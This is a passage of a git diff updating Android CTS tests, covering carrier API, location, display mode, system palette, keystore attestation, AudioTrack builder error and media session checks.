         private String get(String key) {
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/TouchHelper.java b/tests/framework/base/windowmanager/util/src/android/server/wm/TouchHelper.java
index 39afb54..54c9b3e 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/TouchHelper.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/TouchHelper.java
@@ -163,4 +163,11 @@
                 KeyEvent.ACTION_UP, keyCode, 0 /* repeatCount */);
         getInstrumentation().getUiAutomation().injectInputEvent(upEvent, sync);
     }
+
+    public void tapOnTaskCenterAsync(WindowManagerState.Task task) {
+        final Rect bounds = task.getBounds();
+        final int x = bounds.left + bounds.width() / 2;
+        final int y = bounds.top + bounds.height() / 2;
+        tapOnDisplay(x, y, task.mDisplayId, false /* sync*/);
+    }
 }
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
index 0227c3c..a95ea95 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
@@ -92,6 +92,7 @@
 public class WindowManagerState {
 
     public static final String STATE_INITIALIZING = "INITIALIZING";
+    public static final String STATE_STARTED = "STARTED";
     public static final String STATE_RESUMED = "RESUMED";
     public static final String STATE_PAUSED = "PAUSED";
     public static final String STATE_STOPPED = "STOPPED";
diff --git a/tests/inputmethod/AndroidManifest.xml b/tests/inputmethod/AndroidManifest.xml
index 8ce099b..18c6ebf 100644
--- a/tests/inputmethod/AndroidManifest.xml
+++ b/tests/inputmethod/AndroidManifest.xml
@@ -29,7 +29,7 @@
         <activity android:name="android.view.inputmethod.cts.util.TestActivity"
              android:theme="@style/no_starting_window"
              android:label="TestActivity"
-             android:configChanges="fontScale"
+             android:configChanges="fontScale|smallestScreenSize|screenSize|screenLayout"
              android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
diff --git a/tests/tests/car/AndroidTest.xml b/tests/tests/car/AndroidTest.xml
index 7b44a58..f3d0aa7 100644
--- a/tests/tests/car/AndroidTest.xml
+++ b/tests/tests/car/AndroidTest.xml
@@ -18,7 +18,7 @@
             type="module_controller"/>
     <option name="test-suite-tag" value="cts"/>
     <option name="config-descriptor:metadata" key="component" value="auto"/>
-    <option name="config-descriptor:metadata" key="parameter" value="instant_app"/>
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app"/>
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi"/>
 
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user"/>
diff --git a/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java b/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java
index bc813aa..b6ee78c 100644
--- a/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java
+++ b/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java
@@ -1086,7 +1086,8 @@
         try {
             // Get all active subscriptions.
             List<SubscriptionInfo> activeSubInfos =
-                    mSubscriptionManager.getActiveSubscriptionInfoList();
+                    ShellIdentityUtils.invokeMethodWithShellPermissions(mSubscriptionManager,
+                    (sm) -> sm.getActiveSubscriptionInfoList());
 
             List<Integer> activeSubGroup = getSubscriptionIdList(activeSubInfos);
             activeSubGroup.removeIf(id -> id == subId);
@@ -1262,13 +1263,17 @@
     }
 
     private void removeSubscriptionsFromGroup(ParcelUuid uuid) {
-        List<SubscriptionInfo> infoList = mSubscriptionManager.getSubscriptionsInGroup(uuid);
+        List<SubscriptionInfo> infoList = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mSubscriptionManager,
+                (sm) -> (sm.getSubscriptionsInGroup(uuid)));
         if (!infoList.isEmpty()) {
             List<Integer> subscriptionIdList = getSubscriptionIdList(infoList);
             ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mSubscriptionManager,
                     (sm) -> sm.removeSubscriptionsFromGroup(subscriptionIdList, uuid));
         }
-        infoList = mSubscriptionManager.getSubscriptionsInGroup(uuid);
+        infoList = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mSubscriptionManager,
+                (sm) -> (sm.getSubscriptionsInGroup(uuid)));
         assertThat(infoList).isEmpty();
     }
 
diff --git a/tests/tests/carrierapi/src/android/carrierapi/cts/NetworkScanApiTest.java b/tests/tests/carrierapi/src/android/carrierapi/cts/NetworkScanApiTest.java
index 82655e9..8675108 100644
--- a/tests/tests/carrierapi/src/android/carrierapi/cts/NetworkScanApiTest.java
+++ b/tests/tests/carrierapi/src/android/carrierapi/cts/NetworkScanApiTest.java
@@ -23,10 +23,13 @@
 
 import static org.junit.Assert.fail;
 
-import android.content.ContentResolver;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
 import android.content.pm.PackageInfo;
 import android.content.pm.PackageManager;
-import android.database.ContentObserver;
+import android.location.LocationManager;
 import android.os.AsyncTask;
 import android.os.Handler;
 import android.os.HandlerThread;
@@ -34,7 +37,6 @@
 import android.os.Parcel;
 import android.os.Process;
 import android.os.UserHandle;
-import android.provider.Settings;
 import android.telephony.AccessNetworkConstants;
 import android.telephony.CellInfo;
 import android.telephony.CellInfoGsm;
@@ -475,55 +477,44 @@
 
     private boolean getAndSetLocationSwitch(boolean enabled) {
         CountDownLatch locationChangeLatch = new CountDownLatch(1);
-        ContentObserver settingsObserver =
-                new ContentObserver(mHandler) {
-                    @Override
-                    public void onChange(boolean selfChange) {
-                        locationChangeLatch.countDown();
-                        super.onChange(selfChange);
-                    }
-                };
+        BroadcastReceiver locationModeChangeReceiver = new BroadcastReceiver() {
+            @Override
+            public void onReceive(Context context, Intent intent) {
+                if (LocationManager.MODE_CHANGED_ACTION.equals(intent.getAction())
+                        && intent.getBooleanExtra(LocationManager.EXTRA_LOCATION_ENABLED, !enabled)
+                        == enabled) {
+                    locationChangeLatch.countDown();
+                }
+            }
+        };
 
-        InstrumentationRegistry.getInstrumentation()
-                .getUiAutomation()
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
                 .adoptShellPermissionIdentity();
-        ContentResolver contentResolver = getContext().getContentResolver();
         try {
-            int oldLocationMode =
-                    Settings.Secure.getInt(
-                            contentResolver,
-                            Settings.Secure.LOCATION_MODE,
-                            Settings.Secure.LOCATION_MODE_OFF);
+            Context context = InstrumentationRegistry.getContext();
+            LocationManager lm = context.getSystemService(
+                    LocationManager.class);
+            boolean oldLocationOn = lm.isLocationEnabledForUser(
+                    UserHandle.of(UserHandle.myUserId()));
 
-            int locationMode =
-                    enabled
-                            ? Settings.Secure.LOCATION_MODE_HIGH_ACCURACY
-                            : Settings.Secure.LOCATION_MODE_OFF;
-            if (locationMode != oldLocationMode) {
-                contentResolver.registerContentObserver(
-                        Settings.Secure.getUriFor(Settings.Secure.LOCATION_MODE),
-                        false,
-                        settingsObserver);
-                Settings.Secure.putInt(
-                        contentResolver, Settings.Secure.LOCATION_MODE, locationMode);
+            if (enabled != oldLocationOn) {
+                context.registerReceiver(locationModeChangeReceiver,
+                        new IntentFilter(LocationManager.MODE_CHANGED_ACTION));
+                lm.setLocationEnabledForUser(enabled, UserHandle.of(UserHandle.myUserId()));
                 try {
-                    assertThat(
-                                    locationChangeLatch.await(
-                                            LOCATION_SETTING_CHANGE_WAIT_MS, TimeUnit.MILLISECONDS))
-                            .isTrue();
+                    assertThat(locationChangeLatch.await(LOCATION_SETTING_CHANGE_WAIT_MS,
+                            TimeUnit.MILLISECONDS)).isTrue();
                 } catch (InterruptedException e) {
-                    Log.w(
-                            NetworkScanApiTest.class.getSimpleName(),
+                    Log.w(NetworkScanApiTest.class.getSimpleName(),
                             "Interrupted while waiting for location settings change. Test results"
                                     + " may not be accurate.");
                 } finally {
-                    contentResolver.unregisterContentObserver(settingsObserver);
+                    context.unregisterReceiver(locationModeChangeReceiver);
                 }
             }
-            return oldLocationMode == Settings.Secure.LOCATION_MODE_HIGH_ACCURACY;
+            return oldLocationOn;
         } finally {
-            InstrumentationRegistry.getInstrumentation()
-                    .getUiAutomation()
+            InstrumentationRegistry.getInstrumentation().getUiAutomation()
                     .dropShellPermissionIdentity();
         }
     }
diff --git a/tests/tests/content/src/android/content/pm/cts/ApplicationInfoTest.java b/tests/tests/content/src/android/content/pm/cts/ApplicationInfoTest.java
index ae3e7cd..a77433f 100644
--- a/tests/tests/content/src/android/content/pm/cts/ApplicationInfoTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/ApplicationInfoTest.java
@@ -31,6 +31,7 @@
 import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertSame;
 import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeFalse;
 import static org.junit.Assume.assumeNotNull;
 
 import android.content.Context;
@@ -38,6 +39,7 @@
 import android.content.pm.ApplicationInfo;
 import android.content.pm.PackageInfo;
 import android.content.pm.PackageManager.NameNotFoundException;
+import android.os.Build;
 import android.os.Environment;
 import android.os.Parcel;
 import android.os.Process;
@@ -291,6 +293,10 @@
 
     @Test
     public void testIsProduct() throws Exception {
+        // The product flag is supported since P. Suppose that devices lauch on Android P may not
+        // have product partition.
+        assumeFalse(Build.VERSION.DEVICE_INITIAL_SDK_INT <= Build.VERSION_CODES.P);
+
         final String systemPath = Environment.getRootDirectory().getAbsolutePath();
         final String productPath = Environment.getProductDirectory().getAbsolutePath();
         final String packageName = getPartitionFirstPackageName(systemPath, productPath);
diff --git a/tests/tests/display/src/android/display/cts/DisplayTest.java b/tests/tests/display/src/android/display/cts/DisplayTest.java
index 993ec85..8c192e7 100644
--- a/tests/tests/display/src/android/display/cts/DisplayTest.java
+++ b/tests/tests/display/src/android/display/cts/DisplayTest.java
@@ -590,27 +590,29 @@
         Display.Mode[] modes = mDefaultDisplay.getSupportedModes();
         assumeTrue("Need two or more display modes to exercise switching.", modes.length > 1);
 
-        // Create a deterministically shuffled list of display modes, which ends with the
-        // current active mode. We'll switch to the modes in this order. The active mode is last
-        // so we don't need an extra mode switch in case the test completes successfully.
-        Display.Mode activeMode = mDefaultDisplay.getMode();
-        List<Display.Mode> modesList = new ArrayList<>(modes.length);
-        for (Display.Mode mode : modes) {
-            if (mode.getModeId() != activeMode.getModeId()) {
-                modesList.add(mode);
-            }
-        }
-        Random random = new Random(42);
-        Collections.shuffle(modesList, random);
-        modesList.add(activeMode);
-
         try {
             mDisplayManager.setShouldAlwaysRespectAppRequestedMode(true);
             assertTrue(mDisplayManager.shouldAlwaysRespectAppRequestedMode());
             mInitialRefreshRateSwitchingType =
                     DisplayUtil.getRefreshRateSwitchingType(mDisplayManager);
             mDisplayManager.setRefreshRateSwitchingType(DisplayManager.SWITCHING_TYPE_NONE);
+
             final DisplayTestActivity activity = launchActivity(mRetainedDisplayTestActivity);
+
+            // Create a deterministically shuffled list of display modes, which ends with the
+            // current active mode. We'll switch to the modes in this order. The active mode is last
+            // so we don't need an extra mode switch in case the test completes successfully.
+            Display.Mode activeMode = mDefaultDisplay.getMode();
+            List<Display.Mode> modesList = new ArrayList<>(modes.length);
+            for (Display.Mode mode : modes) {
+                if (mode.getModeId() != activeMode.getModeId()) {
+                    modesList.add(mode);
+                }
+            }
+            Random random = new Random(42);
+            Collections.shuffle(modesList, random);
+            modesList.add(activeMode);
+
             for (Display.Mode mode : modesList) {
                 testSwitchToModeId(activity, mode);
             }
diff --git a/tests/tests/graphics/src/android/graphics/cts/SystemPaletteTest.java b/tests/tests/graphics/src/android/graphics/cts/SystemPaletteTest.java
index ba34269..6149732 100644
--- a/tests/tests/graphics/src/android/graphics/cts/SystemPaletteTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/SystemPaletteTest.java
@@ -26,6 +26,7 @@
 import android.graphics.cts.utils.Cam;
 import android.util.Pair;
 
+
 import androidx.annotation.ColorInt;
 import androidx.core.graphics.ColorUtils;
 import androidx.test.filters.SmallTest;
@@ -35,15 +36,18 @@
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.util.ArrayList;
 import java.util.Arrays;
+import java.util.Collections;
 import java.util.List;
 
+
 @SmallTest
 @RunWith(AndroidJUnit4.class)
 public class SystemPaletteTest {
 
     // Hue goes from 0 to 360
-    private static final int MAX_HUE_DISTANCE = 30;
+    private static final int MAX_HUE_DISTANCE = 12;
 
     @Test
     public void testShades0and1000() {
@@ -72,16 +76,56 @@
                 getAllAccent2Colors(context), getAllAccent3Colors(context),
                 getAllNeutral1Colors(context), getAllNeutral2Colors(context));
 
+        final float[] tones = {100, 99, 95, 90, 80, 70, 60, 49, 40, 30, 20, 10, 0};
         for (int[] palette : allPalettes) {
-            for (int i = 3; i < palette.length - 1; i++) {
-                assertWithMessage("Color " + Integer.toHexString((palette[i - 1]))
-                        + " has different hue compared to " + Integer.toHexString(palette[i])
-                        + " for palette: " + Arrays.toString(palette))
-                        .that(similarHue(palette[i - 1], palette[i])).isTrue();
+            // Determine the median hue of the palette. Each color in the palette colors will have
+            // its hue measured against the median hue. If the difference is too large, the test
+            // fails.
+            List<Float> hues = new ArrayList<>();
+            for (int i = 0; i < palette.length - 1; i++) {
+                // Avoid measuring hue of colors above 90 or below 10 in tone.
+                //
+                // Converting from HCT to sRGB from display quantizes colors - i.e. not every
+                // HCT color can be expressed in sRGB. As colors approach the extreme tones, white
+                // at 100 and black at 0, hues begin overlapping overlay - made up example: hues
+                // 110 to 128 at tone 95, when mapped to sRGB for display, all end up being measured
+                // as hue 114.
+                final float tone = tones[i];
+                if (tone < 10.0 || tone > 90.0) {
+                    continue;
+                }
+                final Cam cam = Cam.fromInt(palette[i]);
+                hues.add(cam.getHue());
+            }
+            Collections.sort(hues);
+            final float medianHue = hues.get(hues.size() / 2);
+
+            // Measure the hue of each color in the palette against the median hue.
+            for (int i = 0; i < palette.length - 1; i++) {
+                final float tone = tones[i];
+                // Skip testing hue of extreme tones, due to overlap due to quantization that occurs
+                // when converting from HCT to sRGB for display.
+                if (tone < 10.0 || tone > 90.0) {
+                    continue;
+                }
+                final Cam cam = Cam.fromInt(palette[i]);
+                final float hue = cam.getHue();
+                final boolean hueWithinTolerance = deltaHueWithinTolerance(hue, medianHue);
+                assertWithMessage("Color " + toHctString(cam)
+                        + " has different hue compared to median hue " + Math.round(medianHue)
+                        + " of palette: " + Arrays.toString(palette))
+                        .that(hueWithinTolerance).isTrue();
             }
         }
     }
 
+    private static String toHctString(Cam cam) {
+        final double[] labColor = new double[3];
+        ColorUtils.colorToLAB(cam.viewedInSrgb(), labColor);
+        return "H" + Math.round(cam.getHue()) + " C" + Math.round(cam.getChroma()) + " T"
+                + Math.round(labColor[0]);
+    }
+
     /**
      * Compare if color A and B have similar hue, in gCAM space.
      *
@@ -89,12 +133,10 @@
      * @param colorB Color 2
      * @return True when colors have similar hue.
      */
-    private boolean similarHue(@ColorInt int colorA, @ColorInt int colorB) {
-        final Cam camA = Cam.fromInt(colorA);
-        final Cam camB = Cam.fromInt(colorB);
+    private boolean deltaHueWithinTolerance(float hueA, float hueB) {
 
-        float hue1 = Math.max(camA.getHue(), camB.getHue());
-        float hue2 = Math.min(camA.getHue(), camB.getHue());
+        float hue1 = Math.max(hueA, hueB);
+        float hue2 = Math.min(hueA, hueB);
 
         float diffDegrees = 180.0f - Math.abs(Math.abs(hue1 - hue2) - 180.0f);
         return diffDegrees < MAX_HUE_DISTANCE;
diff --git a/tests/tests/hardware/src/android/hardware/cts/SecurityModelFeatureTest.java b/tests/tests/hardware/src/android/hardware/cts/SecurityModelFeatureTest.java
index 810aebc..b94877f 100644
--- a/tests/tests/hardware/src/android/hardware/cts/SecurityModelFeatureTest.java
+++ b/tests/tests/hardware/src/android/hardware/cts/SecurityModelFeatureTest.java
@@ -16,14 +16,15 @@
 
 package android.hardware.cts;
 
-import static android.os.Build.VERSION;
 import static android.os.Build.VERSION_CODES;
 
+import static com.android.compatibility.common.util.PropertyUtil.getFirstApiLevel;
+import static com.android.compatibility.common.util.PropertyUtil.getVendorApiLevel;
+
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assume.assumeTrue;
 
 import android.content.pm.PackageManager;
-import android.os.SystemProperties;
 
 import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
@@ -47,8 +48,7 @@
 
     @Before
     public void setUp() throws Exception {
-        final int firstApiLevel =
-                SystemProperties.getInt("ro.product.first_api_level", VERSION.SDK_INT);
+        final int firstApiLevel = Math.min(getFirstApiLevel(), getVendorApiLevel());
         assumeTrue("Skipping test: it only applies to devices that first shipped with S or later.",
                    firstApiLevel >= VERSION_CODES.S);
 
diff --git a/tests/tests/keystore/src/android/keystore/cts/AndroidKeyStoreTest.java b/tests/tests/keystore/src/android/keystore/cts/AndroidKeyStoreTest.java
index 010773f..9b414ff 100644
--- a/tests/tests/keystore/src/android/keystore/cts/AndroidKeyStoreTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/AndroidKeyStoreTest.java
@@ -18,6 +18,7 @@
 
 import android.content.pm.PackageManager;
 import android.security.KeyPairGeneratorSpec;
+import android.security.keystore.KeyGenParameterSpec;
 import android.security.keystore.KeyProperties;
 import android.security.keystore.KeyProtection;
 import android.test.AndroidTestCase;
@@ -25,6 +26,8 @@
 import android.test.suitebuilder.annotation.LargeTest;
 import android.util.Log;
 
+import org.junit.Assert;
+
 import java.io.ByteArrayInputStream;
 import java.io.ByteArrayOutputStream;
 import java.io.OutputStream;
@@ -61,6 +64,7 @@
 import javax.crypto.BadPaddingException;
 import javax.crypto.Cipher;
 import javax.crypto.IllegalBlockSizeException;
+import javax.crypto.KeyGenerator;
 import javax.crypto.Mac;
 import javax.crypto.SecretKey;
 import javax.security.auth.x500.X500Principal;
@@ -1775,6 +1779,43 @@
         mKeyStore.setEntry(TEST_ALIAS_1, entry, null);
     }
 
+    /*
+     * Replacing an existing secret key with itself should be a no-op.
+     */
+    public void testKeyStore_SetKeyEntry_ReplacedWithSameGeneratedSecretKey()
+            throws Exception {
+        final String plaintext = "My awesome plaintext message!";
+        final String algorithm = "AES/GCM/NoPadding";
+
+        final KeyGenerator generator = KeyGenerator.getInstance("AES", "AndroidKeyStore");
+        final KeyGenParameterSpec spec = new KeyGenParameterSpec.Builder(TEST_ALIAS_1,
+                KeyProperties.PURPOSE_ENCRYPT | KeyProperties.PURPOSE_DECRYPT)
+                .setKeySize(256)
+                .setBlockModes(KeyProperties.BLOCK_MODE_GCM)
+                .setEncryptionPaddings(KeyProperties.ENCRYPTION_PADDING_NONE)
+                .build();
+        generator.init(spec);
+        final SecretKey key = generator.generateKey();
+
+        Cipher cipher = Cipher.getInstance(algorithm);
+        cipher.init(Cipher.ENCRYPT_MODE, key);
+        AlgorithmParameters params = cipher.getParameters();
+        final byte[] ciphertext = cipher.doFinal(plaintext.getBytes());
+
+        mKeyStore.load(null, null);
+
+        // This should succeed.
+        mKeyStore.setKeyEntry(TEST_ALIAS_1, key, null, null);
+        // And it should not change the key under TEST_ALIAS_1. And what better way to test
+        // then to use it on some cipher text generated with that key.
+        final Key key2 = mKeyStore.getKey(TEST_ALIAS_1, null);
+        cipher = Cipher.getInstance(algorithm);
+        cipher.init(Cipher.DECRYPT_MODE, key2, params);
+        byte[] plaintext2 = cipher.doFinal(ciphertext);
+        Assert.assertArrayEquals("The plaintext2 should match the original plaintext.",
+                plaintext2, plaintext.getBytes());
+    }
+
     public void testKeyStore_Size_Unencrypted_Success() throws Exception {
         mKeyStore.load(null, null);
 
diff --git a/tests/tests/keystore/src/android/keystore/cts/AttestationPerformanceTest.java b/tests/tests/keystore/src/android/keystore/cts/AttestationPerformanceTest.java
index 9101f3b..caa18a0 100644
--- a/tests/tests/keystore/src/android/keystore/cts/AttestationPerformanceTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/AttestationPerformanceTest.java
@@ -35,6 +35,10 @@
     };
 
     public void testRsaKeyAttestation() throws Exception {
+        if (!TestUtils.isAttestationSupported()) {
+            return;
+        }
+
         for (byte[] challenge : ATTESTATION_CHALLENGES) {
             for (int keySize : RSA_KEY_SIZES) {
                 measure(new KeystoreAttestationMeasurable(
@@ -45,6 +49,10 @@
     }
 
     public void testEcKeyAttestation() throws Exception {
+        if (!TestUtils.isAttestationSupported()) {
+            return;
+        }
+
         for (byte[] challenge : ATTESTATION_CHALLENGES) {
             for (int curve : EC_CURVES) {
                 measure(new KeystoreAttestationMeasurable(
diff --git a/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java b/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
index 5a3b712..85de847 100644
--- a/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
@@ -159,6 +159,10 @@
 
     @RequiresDevice
     public void testEcAttestation() throws Exception {
+        if (!TestUtils.isAttestationSupported()) {
+            return;
+        }
+
         if (getContext().getPackageManager().hasSystemFeature(PackageManager.FEATURE_PC))
             return;
 
@@ -212,6 +216,10 @@
     }
 
     public void testEcAttestation_TooLargeChallenge() throws Exception {
+        if (!TestUtils.isAttestationSupported()) {
+            return;
+        }
+
         boolean[] devicePropertiesAttestationValues = {true, false};
         for (boolean devicePropertiesAttestation : devicePropertiesAttestationValues) {
             try {
@@ -266,6 +274,10 @@
     @RestrictedBuildTest
     @RequiresDevice
     public void testEcAttestation_DeviceLocked() throws Exception {
+        if (!TestUtils.isAttestationSupported()) {
+            return;
+        }
+
         if (getContext().getPackageManager().hasSystemFeature(PackageManager.FEATURE_PC))
             return;
 
@@ -426,6 +438,10 @@
 
     @RequiresDevice
     public void testRsaAttestation() throws Exception {
+        if (!TestUtils.isAttestationSupported()) {
+            return;
+        }
+
         if (getContext().getPackageManager().hasSystemFeature(PackageManager.FEATURE_PC))
             return;
 
@@ -488,6 +504,10 @@
     }
 
     public void testRsaAttestation_TooLargeChallenge() throws Exception {
+        if (!TestUtils.isAttestationSupported()) {
+            return;
+        }
+
         boolean[] devicePropertiesAttestationValues = {true, false};
         for (boolean devicePropertiesAttestation : devicePropertiesAttestationValues) {
             try {
@@ -542,6 +562,10 @@
     @RestrictedBuildTest
     @RequiresDevice  // Emulators have no place to store the needed key
     public void testRsaAttestation_DeviceLocked() throws Exception {
+        if (!TestUtils.isAttestationSupported()) {
+            return;
+        }
+
         if (getContext().getPackageManager().hasSystemFeature(PackageManager.FEATURE_PC))
             return;
 
diff --git a/tests/tests/keystore/src/android/keystore/cts/TestUtils.java b/tests/tests/keystore/src/android/keystore/cts/TestUtils.java
index aeb3ad6..4efa171 100644
--- a/tests/tests/keystore/src/android/keystore/cts/TestUtils.java
+++ b/tests/tests/keystore/src/android/keystore/cts/TestUtils.java
@@ -19,6 +19,7 @@
 import android.content.Context;
 import android.content.pm.PackageManager;
 import android.content.pm.FeatureInfo;
+import android.os.Build;
 import android.os.SystemProperties;
 import android.security.keystore.KeyGenParameterSpec;
 import android.security.keystore.KeyInfo;
@@ -1080,4 +1081,8 @@
         new SecureRandom().nextBytes(message);
         return message;
     }
+
+    public static boolean isAttestationSupported() {
+        return Build.VERSION.DEVICE_INITIAL_SDK_INT >= Build.VERSION_CODES.O;
+    }
 }
diff --git a/tests/tests/libthermalndk/src/android/thermal/cts/NativeThermalTest.java b/tests/tests/libthermalndk/src/android/thermal/cts/NativeThermalTest.java
index 634ec56..178b426 100644
--- a/tests/tests/libthermalndk/src/android/thermal/cts/NativeThermalTest.java
+++ b/tests/tests/libthermalndk/src/android/thermal/cts/NativeThermalTest.java
@@ -21,6 +21,7 @@
 import android.support.test.uiautomator.UiDevice;
 import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
+import com.android.compatibility.common.util.CddTest;
 import com.google.common.base.Strings;
 
 import org.junit.After;
@@ -126,6 +127,7 @@
      *
      * @throws Exception
      */
+    @CddTest(requirement="7.3.6")
     @Test
     public void testGetThermalHeadroom() throws Exception {
         final String failureMessage = nativeTestGetThermalHeadroom();
diff --git a/tests/tests/media/src/android/media/cts/AudioTrackTest.java b/tests/tests/media/src/android/media/cts/AudioTrackTest.java
index d179c5a..8065633 100755
--- a/tests/tests/media/src/android/media/cts/AudioTrackTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioTrackTest.java
@@ -3367,6 +3367,122 @@
         }
     }
 
+    /**
+     * Test AudioTrack Builder error handling.
+     *
+     * @throws Exception
+     */
+    @Test
+    public void testAudioTrackBuilderError() throws Exception {
+        if (!hasAudioOutput()) {
+            return;
+        }
+
+        final AudioTrack[] audioTrack = new AudioTrack[1]; // pointer to audio track.
+        final int BIGNUM = Integer.MAX_VALUE; // large value that should be invalid.
+        final int INVALID_SESSION_ID = 1024;  // can never occur (wrong type in 3 lsbs)
+        final int INVALID_CHANNEL_MASK = -1;
+
+        try {
+            // NOTE:
+            // Tuner Configuration builder error tested in testTunerConfiguration (same file).
+            // AudioAttributes tested in AudioAttributesTest#testAudioAttributesBuilderError.
+            // AudioFormat tested in AudioFormatTest#testAudioFormatBuilderError.
+
+            // We must be able to create the AudioTrack.
+            audioTrack[0] = new AudioTrack.Builder().build();
+            audioTrack[0].release();
+
+            // Out of bounds buffer size.  A large size will fail in AudioTrack creation.
+            assertThrows(UnsupportedOperationException.class, () -> {
+                audioTrack[0] = new AudioTrack.Builder()
+                        .setBufferSizeInBytes(BIGNUM)
+                        .build();
+            });
+
+            // 0 and negative buffer size throw IllegalArgumentException
+            for (int bufferSize : new int[] {-BIGNUM, -1, 0}) {
+                assertThrows(IllegalArgumentException.class, () -> {
+                    audioTrack[0] = new AudioTrack.Builder()
+                            .setBufferSizeInBytes(bufferSize)
+                            .build();
+                });
+            }
+
+            assertThrows(IllegalArgumentException.class, () -> {
+                audioTrack[0] = new AudioTrack.Builder()
+                        .setEncapsulationMode(BIGNUM)
+                        .build();
+            });
+
+            assertThrows(IllegalArgumentException.class, () -> {
+                audioTrack[0] = new AudioTrack.Builder()
+                        .setPerformanceMode(BIGNUM)
+                        .build();
+            });
+
+            // Invalid session id that is positive.
+            // (logcat error message vague)
+            assertThrows(UnsupportedOperationException.class, () -> {
+                audioTrack[0] = new AudioTrack.Builder()
+                        .setSessionId(INVALID_SESSION_ID)
+                        .build();
+            });
+
+            assertThrows(IllegalArgumentException.class, () -> {
+                audioTrack[0] = new AudioTrack.Builder()
+                        .setTransferMode(BIGNUM)
+                        .build();
+            });
+
+            // Specialty AudioTrack build errors.
+
+            // Bad audio encoding DRA expected unsupported.
+            try {
+                audioTrack[0] = new AudioTrack.Builder()
+                        .setAudioFormat(new AudioFormat.Builder()
+                                .setChannelMask(AudioFormat.CHANNEL_OUT_STEREO)
+                                .setEncoding(AudioFormat.ENCODING_DRA)
+                                .build())
+                        .build();
+                // Don't throw an exception, maybe it is supported somehow, but warn.
+                // Note: often specialty audio formats are offloaded (see setOffloadedPlayback).
+                // AudioTrackSurroundTest and AudioTrackOffloadedTest can be used as examples.
+                Log.w(TAG, "ENCODING_DRA is expected to be unsupported");
+                audioTrack[0].release();
+                audioTrack[0] = null;
+            } catch (UnsupportedOperationException e) {
+                ; // OK expected
+            }
+
+            // Sample rate out of bounds.
+            // System levels caught on AudioFormat.
+            assertThrows(IllegalArgumentException.class, () -> {
+                audioTrack[0] = new AudioTrack.Builder()
+                        .setAudioFormat(new AudioFormat.Builder()
+                                .setSampleRate(BIGNUM)
+                                .build())
+                        .build();
+            });
+
+            // Invalid channel mask - caught here on use.
+            assertThrows(IllegalArgumentException.class, () -> {
+                audioTrack[0] = new AudioTrack.Builder()
+                        .setAudioFormat(new AudioFormat.Builder()
+                                .setChannelMask(INVALID_CHANNEL_MASK)
+                                .build())
+                        .build();
+            });
+        } finally {
+            // Did we successfully complete for some reason but did not
+            // release?
+            if (audioTrack[0] != null) {
+                audioTrack[0].release();
+                audioTrack[0] = null;
+            }
+        }
+    }
+
 /* Do not run in JB-MR1. will be re-opened in the next platform release.
     public void testResourceLeakage() throws Exception {
         final int BUFFER_SIZE = 600 * 1024;
diff --git a/tests/tests/media/src/android/media/cts/MediaSessionManagerTest.java b/tests/tests/media/src/android/media/cts/MediaSessionManagerTest.java
index be2b066..b8cac31 100644
--- a/tests/tests/media/src/android/media/cts/MediaSessionManagerTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaSessionManagerTest.java
@@ -40,6 +40,7 @@
 import android.os.Looper;
 import android.os.Process;
 import android.platform.test.annotations.AppModeFull;
+import android.provider.Settings;
 import android.test.InstrumentationTestCase;
 import android.test.UiThreadTest;
 import android.util.Log;
@@ -60,7 +61,9 @@
     private static final String TAG = "MediaSessionManagerTest";
     private static final int TIMEOUT_MS = 3000;
     private static final int WAIT_MS = 500;
+    private static final String ENABLED_NOTIFICATION_LISTENERS = "enabled_notification_listeners";
 
+    private Context mContext;
     private AudioManager mAudioManager;
     private MediaSessionManager mSessionManager;
 
@@ -69,6 +72,7 @@
     @Override
     protected void setUp() throws Exception {
         super.setUp();
+        mContext = getInstrumentation().getTargetContext();
         mAudioManager = (AudioManager) getInstrumentation().getTargetContext()
                 .getSystemService(Context.AUDIO_SERVICE);
         mSessionManager = (MediaSessionManager) getInstrumentation().getTargetContext()
@@ -510,6 +514,27 @@
         }
     }
 
+    public void testIsTrustedForMediaControl_withEnabledNotificationListener() throws Exception {
+        List<String> packageNames = getEnabledNotificationListenerPackages();
+        for (String packageName : packageNames) {
+            int packageUid =
+                    mContext.getPackageManager().getPackageUid(packageName, /* flags= */ 0);
+            MediaSessionManager.RemoteUserInfo info =
+                    new MediaSessionManager.RemoteUserInfo(packageName, /* pid= */ 0, packageUid);
+            assertTrue(mSessionManager.isTrustedForMediaControl(info));
+        }
+    }
+
